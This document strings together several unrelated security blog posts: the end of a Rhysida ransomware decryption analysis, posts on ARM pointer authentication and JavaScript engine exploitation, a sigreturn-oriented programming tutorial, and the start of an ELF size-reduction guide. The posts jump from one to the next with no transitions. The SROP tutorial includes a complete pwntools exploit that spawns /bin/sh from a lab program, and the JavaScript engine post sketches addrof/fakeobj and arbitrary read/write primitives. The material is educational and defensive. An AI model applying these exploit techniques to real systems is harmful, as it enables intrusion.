Encrypt the previously generated key and IV using RSA and a public key hardcoded into the executable. The rsa_encrypt_key_ex function handles this encryption of the secrets, and the resulting encrypted values are written to the end of the victim’s file.

Encrypt the file block by block, each block going through a call to ctr_encrypt using the generated key and IV, which differ for every file.

Rhysida doesn’t encrypt the whole file if it’s larger than 1,048,576 bytes (0x100000 in hex), which is the block size the attacker uses.

See the diagram below.

C pseudocode summary of the encryption process

For a clearer picture of the process, here’s a heavily simplified C pseudocode of these operations.

Generating the key and IV:

Encrypting the key:

Writing the encrypted key:

Encrypting the IV:

Writing the encrypted IV:

Encrypting the file block by block:

The program then renames the file by appending the .rhysida extension.

Ransom note and end of execution

Once file encryption is done, the program deletes itself, but only if the attacker specified the -sr option at launch, as seen earlier in this write-up.

As encryption progresses, ransom notes in PDF format are dropped into each encrypted directory. When encryption finishes, the program updates the Windows wallpaper, replacing it with a ransom note as well, via the setBG function. Since this process isn’t essential to our analysis, we won’t go into the details.

The vulnerability and decryption

The C version of Rhysida has a vulnerability that lets us decrypt the victim’s files with no prior knowledge of the key, and with no special requirement beyond access to the victim’s machine or the encrypted files.

Explaining the vulnerability

Every bit of randomness in the encryptor comes from a single source, initialized by srand with a seed, which here is the timestamp. Using a timestamp as the seed for random generation in a cryptographic context completely undermines the resulting crypto chain and makes the encryption void and reversible.

The reason is that the keys and IVs the program generates for each file all derive from rand, which itself relies on the value handed to srand. If you call rand several times in a row while always passing the same value to srand, you’ll always get the same sequence back.

Here’s an example in C pseudocode:

srand(5);
rand(); // generated value: 42
rand(); // generated value: 77
rand(); // generated value: 92
rand(); // generated value: 8
...

Run this code several times in a row and the rand calls produce the same values every time. Knowing the value passed to srand, the seed, lets you predict every random value the program generates, including the encryption keys and IVs. And all we need to recover that value is the timestamp, even an approximate one, of when the victim’s files were encrypted.

The decryption process

The decryptor works like this:

Generate a table of keys and IVs using the timestamp as the seed, for each file and each thread, accounting for the number of logical processors. we have to assume any processor could have generated the key for any thread, so we generate enough keys and IVs to cover every possibility across all files.

Encrypt the generated keys with the RSA public key pulled from the executable, the same way Rhysida does.

Compare that encrypted key against the value stored at the end of the encrypted file, which (as a reminder) is the encrypted key Rhysida stored there. If the values match, we’ve found the right key.

Decrypt the file with the recovered key. we only need to find the correct key for a single file to automatically decrypt all the others, because successfully decrypting one file means we have the right timestamp as the RNG seed. From there it’s just a matter of testing each key in our table against the file we want to decrypt.

If we don’t know the exact timestamp, we can start from an approximate one and sweep a time window around it, decrypting part of a file each time until I land on the exact timestamp.

What’s needed for decryption

To decrypt a victim, we need the following:

• The strain that infected the victim, since we need the RSA public key it contains.
• The exact encryption timestamp.

OR

• An approximate timestamp plus an encrypted file of known extension and type whose header we can guess (.pdf, .docx, etc.).

• The approximate number of encrypted files, or an order of magnitude, in order to generate the key and IV table. This number must be greater than or equal to the number of encrypted files, never less.

• The number of logical processors on the encrypted machine.

In practice, the processor count and the number of encrypted files are easy to guess. The timestamp is the key piece.

Special cases

The PowerShell version of Rhysida we analyzed is not vulnerable to this decryption.

Conclusion

Over the course of this work, dozens of victims around the world had their files recovered and their data saved, without ever paying a ransom. For an organization hit by Rhysida, that’s often the difference between a survivable incident and a catastrophic one.

I was, in a professional capacity, the first to build a working decryptor for this ransomware, back in May 2023, just weeks after Rhysida first surfaced. The catch is that this work was bound by confidentiality, and I wasn’t in a position to disclose any of it until now. The public research that later emerged, and the decryptors built on it, arrived independently and confirmed the same underlying flaw.

I’ve made a deliberate choice not to publish my full decryptor in this post. The vulnerability is now well documented, and free decryptors built by other parties are already available to victims through nomoreransom.org, a joint initiative between law enforcement and the security industry. Anyone affected by Rhysida should start there. My goal with this write-up is to walk through the analysis and the reasoning behind the break, not to hand out another tool.

Pointer authentication breaks that shape. On Apple’s arm64e it is the single biggest reason a clean arbitrary read/write is no longer game over. This post is about how it works, what Apple signs with it, and why a leak alone cannot forge the one thing you need.

The spare bits of a pointer

A 64-bit pointer is mostly empty space. AArch64 virtual addresses are far narrower than the register that holds them: a typical configuration only translates the bottom 39 to 48 bits, so the top of every pointer goes unused. Top-byte-ignore (TBI) frees the highest 8 bits as well, letting software stash a tag there that the MMU quietly discards. PAC moves into exactly this dead space.

Sign a pointer and the processor computes a short message authentication code over the address and writes it into those unused bits, split into two fields that straddle bit 55:

 63        56 55 54                          VA region            0
+-----------+--+-----------------------------+----------------------+
|  PAC hi   |  |            PAC lo           |   virtual address    |
+-----------+--+-----------------------------+----------------------+
             ^
             bit 55 selects TTBR0 (user) / TTBR1 (kernel), preserved

The signature has to dodge bit 55, the bit that selects whether the pointer lives in the user half or the kernel half of the address space, because that bit must survive intact. What’s left is small: depending on the virtual-address size and whether TBI is on, the PAC is on the order of a dozen to a few dozen bits, roughly 16 in a common userland configuration. Keep that smallness in mind; it comes back at the end.

Sign and authenticate

Two operations bracket the life of an authenticated pointer. To sign, a PAC* instruction takes a pointer and a 64-bit modifier and fills in the PAC field:

; sign the pointer in x0 with key IA, using x1 as the modifier
pacia   x0, x1

To use the pointer you first authenticate it. AUT* recomputes the MAC from the current address and the modifier, and if it matches the PAC field, strips it back to a clean, dereferenceable pointer:

; authenticate x0 with key IA and modifier x1; on success x0 is usable
autia   x0, x1

What happens on failure is the whole game. In the original ARMv8.3 design the authentication does not fault. Instead it deliberately corrupts the high bits so the pointer becomes non-canonical, and the next dereference takes a translation fault. ARMv8.6 added FPAC, which faults at the AUT instruction itself, turning a silently poisoned pointer into an immediate, precise crash; Apple’s newer cores implement it.

A few variants matter in practice. XPACI/XPACD strip a PAC without checking it, for when software just wants the bare address. PACGA is the odd one out: it doesn’t sign a pointer at all, it computes a 32-bit generic MAC over two registers, meant for protecting arbitrary data rather than addresses. And because return addresses are everywhere, the ISA bakes in fused forms. PACIASP/AUTIASP sign and authenticate the link register using the stack pointer as the modifier, and RETAA, BLRAA, BRAA, LDRAA authenticate-and-then-act in a single instruction. A protected function looks like this:

func:
    paciasp                     ; sign LR, modifier = SP
    stp     x29, x30, [sp, #-16]!
    ; ... body ...
    ldp     x29, x30, [sp], #16
    retaa                       ; authenticate LR against SP, then return

Smash the saved return address on the stack and retaa will refuse to honor it. The classic stack-based control-flow hijack is dead on arrival.

Keys and the modifier

Five keys feed these instructions, each 128 bits: two for instruction pointers (IA, IB), two for data pointers (DA, DB), and one generic key (GA) for PACGA. They live in system registers that ordinary code cannot read. Crucially, even code with arbitrary read/write of its own address space cannot reach them, because they are not mapped memory. The key material is established at boot and per process, and it is the one secret the whole scheme rests on.

The second ingredient is the modifier, the 64-bit value you saw as the second operand. The PAC is a function of (key, pointer value, modifier), so the same address signed with two different modifiers yields two different signatures. This is what turns PAC from a single global checksum into something useful: each kind of pointer, and often each site, is signed with a different modifier, so a signature minted in one place is worthless in another. The choices are deliberate:

• Return addresses use the stack pointer as the modifier, so a return address signed for one frame won’t authenticate against another.
• C++ vtable pointers and entries use a discriminator derived from the type and the storage location, so you can’t lift a vtable pointer off one object and graft it onto a different class.
• Objective-C isa pointers mix in an address-based discriminator for the same reason.

Underneath, the MAC is a truncated QARMA, a lightweight tweakable block cipher, with the key as the key, the pointer as the input, and the modifier as the tweak. The cipher’s internals don’t matter here. What matters is the binding: change the address, the key, or the context, and the signature no longer checks out.

What Apple signs on arm64e

arm64e is Apple’s PAC-hardened ABI, shipping on every device since the A12 (2018). It doesn’t protect one pointer type. It signs essentially everything an attacker would historically overwrite to hijack control flow:

• Return addresses, in every non-leaf function’s prologue and epilogue.
• Function pointers stored in memory.
• C++ virtual table pointers and their entries.
• Objective-C isa pointers and method-cache entries, the dispatch path every Objective-C call travels.
• Block invoke pointers, Swift metadata, and the JIT’s own code pointers.

The rule that falls out is blunt: a generic memory write no longer produces a pointer the CPU will branch to. You can corrupt the value all you like, but the instant something authenticates it, it dies.

Back to the browser chain

Now reconnect this to where the JavaScript-engine post left off. You hold arbitrary read and write inside the renderer. You go to overwrite a function pointer (a vtable entry, a JIT code pointer) with the address of your gadget or your shellcode. On arm64e that pointer is signed. For your forged value to survive authentication you would have to compute its PAC, and to do that you need the key. The key isn’t in memory you can read; it’s in a system register. The primitive that used to end the exploit, arbitrary read/write, doesn’t hand you the one secret you need.

That is the concrete form of the asymmetry the previous post described. Triggering the bug is the easy afternoon’s work. Turning a clean read/write into a validly signed code pointer on a current iPhone is the part that is genuinely hard.

Why it isn’t absolute

PAC raises the cost; it doesn’t make exploitation impossible, and treating it as a hard wall is a mistake. Without walking through any of them, the shapes attackers reach for are well documented:

• The PAC is short. A field on the order of 16 bits is, in isolation, guessable. What protects it is that a wrong guess crashes the process, so the real question is whether you can guess without crashing.
• Signing oracles and signing gadgets. If you can coax the process into signing a pointer you influence (an oracle), or reach existing code that signs attacker-controlled data (a gadget), you borrow the key without ever reading it.
• Reuse and replay. When the modifier isn’t unique enough, a validly signed pointer can be copied to a place where the same key and modifier apply, a cross-context confusion that needs no forgery at all.
• PACMAN. The 2022 result from MIT used a speculative-execution side channel to test PAC guesses speculatively, so a wrong guess no longer crashed the process, defeating exactly the property the short PAC leaned on.

And none of this touches the kernel, which signs its own pointers with PAC too (alongside related mitigations like PPL), or the sandbox you are still trapped behind after the renderer falls.

Conclusion

Pointer authentication doesn’t fix a single bug. The type confusion still happens, the read/write is still real. What PAC removes is the cheap, mechanical step that used to connect them to a program counter you control: forge a pointer, get it called, win. By binding every interesting pointer to a key you can’t reach and a context you can’t reuse, it pushes the attacker off the easy path and onto the narrow, fragile ones: oracles, gadgets, reuse, speculation. The work doesn’t vanish; it gets multiplied. That multiplication, a simple memory bug now wrapped in a problem with no obvious cheap solution, is, once again, exactly what makes a modern target interesting.

There is a shortcut, and it is almost unfair. The kernel already ships a routine whose entire job is to load every general-purpose register, plus rip and rsp, from values sitting on the stack. It does this in one syscall, it trusts the stack completely, and it never checks who put those values there. That routine is sigreturn, and bending it to our purposes is sigreturn-oriented programming. It is also, as it happens, the syscall this company is named after.

How a signal leaves the kernel

To see why sigreturn exists, follow what happens when a process receives a signal it has a handler for.

The kernel cannot just call the handler and hope the process picks up where it left off afterwards. The signal can interrupt user code at any instruction, so before transferring control the kernel has to save the entire CPU state: every general-purpose register, the instruction pointer, the stack pointer, the flags, and the floating-point state. It saves all of that into a structure called a signal frame, and it pushes that frame onto the user stack. Then it points rip at the handler and lets it run.

When the handler returns, execution does not go back to the interrupted code directly. Instead it returns into a tiny trampoline the kernel arranged for, which does nothing but invoke the sigreturn syscall. On x86-64 that trampoline is essentially:

mov rax, 15      ; __NR_rt_sigreturn
syscall

sigreturn is the other half of the dance. It takes the signal frame the kernel left on the stack, copies every saved value back into the corresponding register, and resumes the interrupted code exactly where it was. The whole point of the syscall is to restore a full register context from memory.

The detail that matters for us is what sigreturn does not do. It does not verify that the frame it reads was written by the kernel. It does not check a cookie, a signature, or where the stack pointer is. It reads the frame at the current stack pointer and restores from it, unconditionally. The kernel assumes that if sigreturn is being called, it is because the kernel itself set this up a moment earlier.

The abuse

That assumption is the whole vulnerability. If we control the contents of the stack and we can make the program call sigreturn with the stack pointer aimed at memory we wrote, then the kernel will happily restore every register from a frame we forged.

A forged frame gives us, in one step, what a long ROP chain gives us gadget by gadget: arbitrary values in rax, rdi, rsi, rdx, the rest of the general-purpose registers, and rip. We get to pick where execution goes next and what every argument register holds when it gets there. The technique was formalized by Bosman and Bos in their 2014 paper “Framing Signals”, which showed how general and how portable it is.

To pull it off we need three things:

• Control of the stack contents, so we can place the fake frame. A straightforward overflow gives us this.
• A way to invoke sigreturn, which means getting rax to 15 and reaching a syscall instruction. In practice that is a small two-gadget step: something like pop rax ; ret to load the number, then a syscall instruction to fire it.
• A known address for any data we reference, such as the /bin/sh string we want rdi to point at. A static, non-PIE binary makes this easy because addresses are fixed and glibc already carries the string /bin/sh for its own use.

That is the entire shopping list. Notice it is short, and notice that none of it depends on the binary containing the exact pop rdi / pop rsi / pop rdx gadgets a conventional chain would need. A single syscall instruction and a way to set rax are enough to set up any syscall with any arguments. That generality is what makes the technique worth knowing.

A worked example

Let us build the smallest thing that demonstrates it. Here is a deliberately vulnerable program: it reads far more bytes than the buffer holds, straight into the stack.

#include <unistd.h>

void vuln(void)
{
    char buf[64];
    read(0, buf, 1024);
}

int main(void)
{
    vuln();
    return 0;
}

We compile it static and non-PIE, with the stack canary off, so the mechanism is not buried under mitigations we are not studying here.

gcc vuln.c -o vuln -static -no-pie -fno-stack-protector

A quick look confirms what we are working with: no canary to leak, no PIE so addresses are fixed, and a static binary that drags all of glibc in with it (which means plenty of syscall instructions and the /bin/sh string are present).

$ checksec --file=vuln
RELRO      STACK CANARY    NX      PIE
Partial    No canary       NX      No PIE

We need exactly two gadgets and one string. Rather than copy addresses by hand, we let pwntools find them by searching the binary’s own bytes:

• pop rax ; ret to load the syscall number,
• syscall ; ret to fire the syscall,
• the /bin/sh string already living in glibc.

The plan on the stack, top to bottom, is: padding up to the saved return address, then pop rax ; ret followed by 15 to select rt_sigreturn, then the syscall gadget to invoke it, and finally the forged signal frame the kernel will restore from. We fill that frame to call execve("/bin/sh", NULL, NULL), sending control to the same syscall gadget once the registers are in place.

from pwn import *

context.binary = elf = ELF('./vuln')

pop_rax     = next(elf.search(asm('pop rax; ret')))
syscall_ret = next(elf.search(asm('syscall; ret')))
binsh       = next(elf.search(b'/bin/sh\x00'))

# The frame the kernel will restore: a ready-made execve("/bin/sh", 0, 0)
frame = SigreturnFrame()
frame.rax = constants.SYS_execve   # 59
frame.rdi = binsh                  # "/bin/sh"
frame.rsi = 0                      # argv = NULL
frame.rdx = 0                      # envp = NULL
frame.rip = syscall_ret            # run the execve syscall once registers are set

payload  = b'A' * 72               # 64-byte buffer + saved rbp
payload += p64(pop_rax)            # rax = 15 ...
payload += p64(15)                 #   ... __NR_rt_sigreturn
payload += p64(syscall_ret)        # syscall -> rt_sigreturn restores our frame
payload += bytes(frame)            # the forged frame itself

p = process('./vuln')
p.send(payload)
p.interactive()

Walking the chain as the CPU sees it: vuln returns into pop rax ; ret, which loads 15 and returns into the syscall gadget. That syscall is rt_sigreturn, so the kernel reads the frame we placed right after it and restores every register from it. Now rax is 59, rdi points at /bin/sh, rsi and rdx are zero, and rip is our syscall gadget again. The very next instruction is therefore execve("/bin/sh", NULL, NULL).

$ python3 exploit.py
[*] '/home/lab/vuln'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE
[+] Starting local process './vuln': pid 4711
[*] Switching to interactive mode
$ id
uid=1000(lab) gid=1000(lab) groups=1000(lab)
$ exit

One overflow, two gadgets, one forged frame, and a shell. We never needed a gadget per argument.

Finding the pieces in practice

The example handed us fixed addresses and a fat static binary. Real targets are stingier, so it helps to know where the moving parts actually come from.

The syscall instruction is rarely a problem. Anything linked against libc has many, and a static binary has them everywhere. The real question is usually how to get the syscall number into rax without a convenient pop rax. There are several answers depending on the binary: a read that lands a controlled byte in the right place, an arithmetic gadget, or chaining through a function that returns a known value into rax.

32-bit x86 deserves a special mention, because it is where SROP often looks its cleanest. The kernel’s signal trampoline lives in the vDSO, a small shared object the kernel maps into every process, exported as __kernel_sigreturn. Disassembled, it is almost a gift:

__kernel_sigreturn:
    pop    eax
    mov    eax, 0x77
    int    0x80

That is a single gadget that is a call to sigreturn. It loads eax with 0x77 (the 32-bit sigreturn number) on its own and fires the interrupt, so you do not even need a separate step to set the syscall number. Point execution at it with a forged frame waiting on the stack and the restore happens. The vDSO is at a known-ish location and contains exactly the instruction you need. It is a recurring reason the technique is so comfortable on 32-bit.

Why we care

Step back and the appeal is obvious. Conventional ROP treats the binary as a quarry and makes you mine one gadget per register. SROP treats a single, always-present kernel routine as a universal register-loading primitive. One syscall instruction, one way to set rax, and a stretch of stack you control are enough to set up any syscall you like with fully controlled arguments. The same forged frame tends to work across different binaries that share the same flaw, because it leans on the kernel’s ABI rather than on any one program’s gadgets.

A whole class of exploitation collapses into “write the registers you want onto the stack and let the kernel install them for you.” That elegance, a signal-handling convenience quietly turned into an exploitation primitive, is exactly the kind of thing we find worth naming a company after.

What is striking, once you have done it a couple of times, is how uniform the exploitation is. The engines differ in the details of how they encode a value or lay out an object, but the path from a memory bug to a shell is almost always the same four rungs: a type confusion, the addrof and fakeobj primitives, an arbitrary read/write, and finally code execution. Learn the ladder once and you can read almost any engine writeup. We build it here from the ground up on JavaScriptCore (WebKit) and V8 (Chrome), and then look at why, on a current iPhone, landing the bug is the easy part.

Why the JavaScript engine

A browser is not one program, it is a pile of them: an HTML and CSS engine, the DOM, a network stack, image and font decoders, and the JavaScript engine sitting in the middle of it all. Any of those is attack surface, but the JavaScript engine is special because the attacker gets to run code there directly, with loops, objects, and timing, rather than coaxing a parser into misbehaving from the outside.

We focus on the two engines that matter most in practice. JavaScriptCore (JSC) is WebKit’s engine, written mostly in C++, shipping not only in Safari but in anything that embeds WebKit, from game consoles to embedded dashboards. V8 is Chrome’s engine, used by Blink (which descends from WebKit’s WebCore) and by Node. SpiderMonkey, Firefox’s engine, follows the same shapes. Because the engines borrowed each other’s design, the techniques port between them with only cosmetic changes.

How values live in memory

Before corrupting anything, we have to know what the raw 64-bit words we will be reading actually mean. Both engines pack every JavaScript value into a machine word, and both do it in a way that lets them tell a pointer from a number without an extra tag byte.

JSC uses NaN-boxing. A JSValue is 64 bits, and the encoding exploits the fact that IEEE-754 doubles have a huge range of bit patterns that are all “NaN”. Roughly:

• A pointer to a heap object (a “cell”) is stored as-is. On 64-bit, valid pointers have their top 16 bits clear, so a small value at the top of the word means “this is a pointer”.
• An int32 is stored with a tag in the high bits, as 0xFFFE000000000000 | value.
• A double is stored with a constant offset of 2^49 added to its bit pattern, so that every real double lands in a band (top 16 bits between 0x0002 and 0xFFFC) that never collides with the pointer or integer encodings.

A consequence we will lean on: the encoded value 0x0 does not mean the number zero. It is the special “empty” value. The number zero is a double or a tagged integer with its own encoding. So when we read raw memory, a bare zero word is almost never a JavaScript 0. null, true, false, and undefined likewise have their own small fixed encodings.

V8 takes a different route. Small integers (SMIs) are tagged by their low bit, heap object pointers carry a different low-bit tag, and on 64-bit builds V8 uses pointer compression: the high 32 bits of every heap pointer in a given heap are constant, so they are kept once in a base register (the isolate root) and only the low 32 bits are stored in memory. To dereference a compressed pointer you take the stored 32-bit half and add the base from the register. JSC has its own constraint in the same spirit, the gigacage, which confines certain backing stores to a reserved region so a stray pointer cannot reach arbitrary memory. We will not need its internals here, only the awareness that it exists.

The object model and the butterfly

Now the object layout, because that is what we corrupt. Take an ordinary object in JSC. It begins with a structure ID, a number that names the object’s shape: which properties it has, in which order, of which types. Every object that shares a shape shares a structure ID, and the engine reuses it. Add a property, reorder them, or change a type, and the engine mints a new structure for the new shape. Structure IDs used to be handed out linearly, which made them predictable. Modern JSC throws in a few random bits, so you can no longer guess the next one.

After the structure ID and a few flag bytes comes the butterfly pointer. The butterfly is a single pointer that points into the middle of an allocation:

            butterfly
               |
               v
[ ...named properties... ][ length | capacity ][ elem 0 ][ elem 1 ][ ... ]
   grow to the LEFT          header word          grow to the RIGHT

To the right of the pointer live the indexed elements, the things you reach with obj[0], obj[1]. To the left live the out-of-line named properties, the things you set with obj.foo. Right at the boundary sits a header word holding two 32-bit fields packed into 64 bits: the public length (the array’s real length) and the vector length (its allocated capacity).

V8 expresses the same idea differently. The first field of a V8 object is its map pointer, a pointer to a Map object that describes the type and shape, followed by separate pointers to the properties and the elements. Whether the shape is named by a number (JSC’s structure ID) or by a pointer (V8’s map), the role is identical: it is the field that tells the engine “this is what kind of object I am”. Corrupt it and you have lied to the engine about a type. That is the whole game.

The bug that starts everything

Every chain begins with one memory bug in the engine. They come in many flavors, a typing mistake in the JIT optimizer, a botched bounds-check elimination, an out-of-bounds access in an array builtin, but the most productive shape is one that lets us touch a single slot just past the end of an array. Here is why that one extra slot is so valuable.

Lay out an array of doubles and look at what sits next to it in memory:

[ map / structure ][ length | capacity ][ d0 ][ d1 ][ d2 ][ d3 ][ map of the NEXT object ][ ... ]
 \______________ our float array ______________/        ^
                                                         one slot past the end

The element right after our array’s last double is the header of whatever was allocated next, including its map or structure field. If the bug lets us read or write one element beyond the bounds, we can read and, crucially, overwrite the neighbor’s map. Overwrite it with the map of a different type and the engine now treats that object as something it is not. That is a type confusion, and it is the pivot from a narrow memory bug to a general one. The specific bug only has to get us this far. From here on the recipe is engine methodology, not bug specifics.

addrof and fakeobj

Two primitives turn a type confusion into something you can program against. Neither is normally possible in JavaScript, which is the point. Both exist only because of the bug.

addrof(obj) leaks the address of a JavaScript object. You are never supposed to learn where an object lives, but with the type confusion you can. Keep two arrays, one of objects and one of doubles, side by side. Put the target object into the object array, then use the confusion to make the engine read that array as if it held doubles. Reading element zero now hands you the raw pointer bits of the object, reinterpreted as a floating-point number. Convert that back to an integer and you have the address.

The float-to-integer conversion is just two views over the same bytes:

const buf = new ArrayBuffer(8);
const f64 = new Float64Array(buf);
const u64 = new BigUint64Array(buf);

const ftoi = (f) => { f64[0] = f; return u64[0]; };   // double bits -> integer
const itof = (i) => { u64[0] = i; return f64[0]; };   // integer    -> double bits

fakeobj(addr) is the exact inverse. Instead of taking an object and revealing its address, it takes an address and hands you back a JavaScript object located there. You write the address you want as a double into a slot, then use the same confusion to make the engine treat that double as an object pointer. Now you hold a real, usable JS object whose memory you chose, and you can read and set its fields like any other.

// Sketch, not a working exploit: the confusion primitive is engine-specific.
const addr = addrof(victim);          // leak an address
const fake = fakeobj(someAddress);    // forge an object at an address we control

From fakeobj to arbitrary read and write

addrof and fakeobj are not the goal, they are the tools for building the primitive we actually want: reading and writing any 64-bit word in the address space.

The trick is to hand-build a fake object inside memory you fully control, which is easy because the contents of a float array are entirely yours. You craft a sequence of doubles that, interpreted as an object, looks like an array whose elements pointer is a value you choose. Then you fakeobj it. Reading element zero of that fake object dereferences the pointer you planted, giving you an 8-byte read at any address you like. Writing element zero writes 8 bytes there instead.

// Conceptually:
function read64(where) {
    fake_array.set_elements_pointer(where);  // forged via fakeobj over controlled doubles
    return ftoi(fake_array[0]);              // engine dereferences our pointer for us
}

function write64(where, what) {
    fake_array.set_elements_pointer(where);
    fake_array[0] = itof(what);
}

With read64 and write64 the engine bug is, in effect, fully cashed out. We have arbitrary read and write across the process, subject only to caged regions like the gigacage. Everything from here is about turning memory control into instruction-pointer control.

From read/write to code execution

Arbitrary read/write does not yet run shellcode. We need executable memory we can write to, or a function pointer we can redirect.

For years this was almost free. A JIT compiler has to produce executable code at runtime, so the engine kept memory that was both writable and executable. The classic move was to instantiate a WebAssembly module, which mapped a fresh RWX page. The contents of the module were irrelevant, you just wanted the page to exist. Then you used your write primitive to drop shellcode into it and redirected a JIT-compiled function’s code pointer at your bytes. One call later, your code ran.

That era is over. The mitigation that closed it is W^X: no page is writable and executable at the same time. The free RWX page is gone, and getting code execution after a clean read/write is now the hard part of a browser exploit, not the easy one.

The mitigations that make a working bug only the beginning

This is where a modern target, especially an Apple one, stops being mechanical. A working arbitrary read/write is necessary, but on current iOS it is nowhere near sufficient.

Bulletproof JIT (iOS 10). Apple’s first answer to writing JIT code without a permanent RWX page was to map one physical JIT page through two virtual mappings: one executable, one writable, with the writable mapping placed at an address the attacker is not supposed to know. The idea is that you can execute the code but cannot find where to write it. In practice it was not very durable, since recovering the writable mapping is enough to write your shellcode through it, but it set the direction.

APRR (hardware W^X). Newer Apple silicon enforces the split in hardware, per thread. Even a page that looks RWX is never simultaneously writable and executable when you touch it, because a per-thread permission register gates the write side off at access time. When the runtime legitimately needs to patch JIT code, a routine flips the current thread’s permission to writable, performs the copy, and flips it back. Two design choices make this miserable to abuse. First, the flip is per-thread, so you cannot run another thread into the brief writable window and race the copy. Second, the JIT memcpy is marked always_inline, so there is no tidy function pointer to jump to. It is melted into a much larger function full of other inlined routines. You can reach that big function’s entry, but you then have to survive all the way to the inlined copy at its tail with exactly the right registers set up, and there is a check that the register carrying the permission value was not tampered with along the way. Landing in the middle is a crash, not a primitive.

The split itself is enforced by a small lookup. A page’s rwx bits index into a per-thread APRR register that re-maps them to the effective permissions actually applied, and that mapping is what bakes in W^X: any entry that asks for write and execute comes back without the write bit.

The two interesting rows are the executable-and-writable ones, -wx and rwx: both lose their w in the effective column. To write into a JIT page the runtime must first flip the thread’s APRR register so that slot maps back to a writable permission, do the copy, and flip it back, which is exactly the window the inlined performJITMemcpy opens and closes.

The commpage. Both attacker and defender care about the commpage, a read-only page mapped into every process that holds frequently used routines and values. It is the Apple analogue of Windows’ KUSER_SHARED_DATA. It is also a quietly revealing artifact: Apple publishes the relevant source, but the entries at offsets 0x110 and 0x118, the ones tied to the APRR machinery, are blanked out, a literal gap in the public code. Even “open” source hides the parts you can only recover by reversing.

PAC. On top of all that, pointer authentication signs pointers with a hardware key, so you cannot forge a usable code pointer from a memory leak alone. We take it apart in a dedicated post. And even once you do achieve code execution in the renderer, you are still inside a sandbox. The second half of a real chain is escaping it.

Conclusion

The core of JavaScript engine exploitation is mechanical and remarkably uniform across engines. One memory bug becomes a type confusion, the type confusion builds addrof and fakeobj, those build arbitrary read and write, and read/write becomes, or used to easily become, code execution. The encodings change between JSC and V8, the field that names an object’s type is a number here and a pointer there, but the ladder is the same one every time.

What actually consumes the effort on a modern target is everything wrapped around that core: W^X, bulletproof JIT, APRR, pointer authentication, and the sandbox you still have to climb out of after the renderer falls. Finding and triggering the bug is the part you can teach in an afternoon. Turning it into a reliable exploit on a current iPhone is the part that is genuinely hard, and that asymmetry, a simple core wrapped in years of mitigation, is exactly what makes the work interesting.

The idea here is to understand the compilation process, linking, how loader works, how ELF file format is structured, and so on.

State of the art

So let’s simply create a program in C that outputs our string. In this default case we will not optimize anything nor try to reduce our binary size.

#include <stdio.h>

void main(void)
{
    printf("Hello world!");
}

Let’s compile it with GCC and run it:

$ gcc smallest_elf.c -o smallest_elf.bin
$ ./smallest_elf.bin
Hello world!

Initial size: 16704 bytes.

The default compiled binary is quite big for only 65 bytes of written code. Why is that? Let’s analyse out binary and check what we can remove to reduce its size.

Too many sections

.interp
.note.gnu.propert
.note.gnu.build-i
.note.ABI-tag
.gnu.hash
.dynsym
.dynstr
.gnu.version
.gnu.version_r
.rela.dyn
.rela.plt
.init
.plt
.plt.got
.plt.sec
.text
.fini
.rodata
.eh_frame_hdr
.eh_frame
.init_array
.fini_array
.dynamic
.got
.data
.bss
.comment
.symtab
.strtab
.shstrtab

Well first of all, our binary has 30 sections inside, we don’t need all of them. We do not need relocations, symbols, or even PLT/GOT and a lot of other stuff. The compiler produced the default binary it would produce even for longer code.

Too many symbols

0000000000003dc8 d _DYNAMIC
0000000000003fb8 d _GLOBAL_OFFSET_TABLE_
0000000000002000 R _IO_stdin_used
                 w _ITM_deregisterTMCloneTable
                 w _ITM_registerTMCloneTable
000000000000215c r __FRAME_END__
0000000000002014 r __GNU_EH_FRAME_HDR
0000000000004010 D __TMC_END__
0000000000004010 B __bss_start
                 w __cxa_finalize@@GLIBC_2.2.5
0000000000004000 D __data_start
0000000000001100 t __do_global_dtors_aux
0000000000003dc0 d __do_global_dtors_aux_fini_array_entry
0000000000004008 D __dso_handle
0000000000003db8 d __frame_dummy_init_array_entry
                 w __gmon_start__
0000000000003dc0 d __init_array_end
0000000000003db8 d __init_array_start
00000000000011e0 T __libc_csu_fini
0000000000001170 T __libc_csu_init
                 U __libc_start_main@@GLIBC_2.2.5
0000000000004010 D _edata
0000000000004018 B _end
00000000000011e8 T _fini
0000000000001000 t _init
0000000000001060 T _start
0000000000004010 b completed.8061
0000000000004000 W data_start
0000000000001090 t deregister_tm_clones
0000000000001140 t frame_dummy
0000000000001149 T main
                 U printf@@GLIBC_2.2.5
00000000000010c0 t register_tm_clones

Our program has symbols, that’s additional information we don’t need to display our string.

Too much code

First of all, the only executable section we need is .text, that’s where our main code is. But we notice there are instructions outside this section:

0000000000001000 <.init>:
    1000:   f3 0f 1e fa             endbr64
    1004:   48 83 ec 08             sub    rsp,0x8
    1008:   48 8b 05 d9 2f 00 00    mov    rax,QWORD PTR [rip+0x2fd9]
    100f:   48 85 c0                test   rax,rax
    1012:   74 02                   je     1016 <__cxa_finalize@plt-0x2a>
    1014:   ff d0                   call   rax
    1016:   48 83 c4 08             add    rsp,0x8
    101a:   c3                      ret

Also, there are 388 bytes of instructions in .text section, that’s a lot considering we just want to output “Hello world!”.

Too much empty space

We also notice something interesting in our binary, there is a lot of empty space, filled with zeroes.

00000600: 0000 0000 0000 0000 0000 0000 0000 0000
00000610: 0000 0000 0000 0000 0000 0000 0000 0000
00000620: 0000 0000 0000 0000 0000 0000 0000 0000
00000630: 0000 0000 0000 0000 0000 0000 0000 0000
00000640: 0000 0000 0000 0000 0000 0000 0000 0000
00000650: 0000 0000 0000 0000 0000 0000 0000 0000
00000660: 0000 0000 0000 0000 0000 0000 0000 0000
00000670: 0000 0000 0000 0000 0000 0000 0000 0000
[...]

For example the space above has 2544 bytes of zeroes in total. There are several empty spaces like this.

Quick optimizations

We will go ahead to try and reduce our executable’s size, we will implement several methods so you can get an idea of what can be done to produce the smallest possible binary by manipulating compiled binary.

Strip symbols

First of all, let’s remove all the symbols and relocation information from the executable.

$ nm smallest_elf.bin
nm: smallest_elf.bin: no symbols

After the operation, the size of the binary goes from to 16704 to 14472.

New size: 14472 bytes.

Remove unnecessary sections

We can also remove some sections that are unnecessary to the main task of our program, for example .data, or .gnu.version.

Indeed, we do not need those sections, for example our string “Hello world!” is already stored in .rodata section :

00002000: 0100 0200 4865 6c6c 6f20 776f 726c 6421  ....Hello world!

Major modifications

We will go ahead to try and reduce our executable’s size even more, we will implement several methods so you can get an idea of what can be done to produce the smallest possible binary while still keeping its initial function : displaying a string.

Get rid of programming language

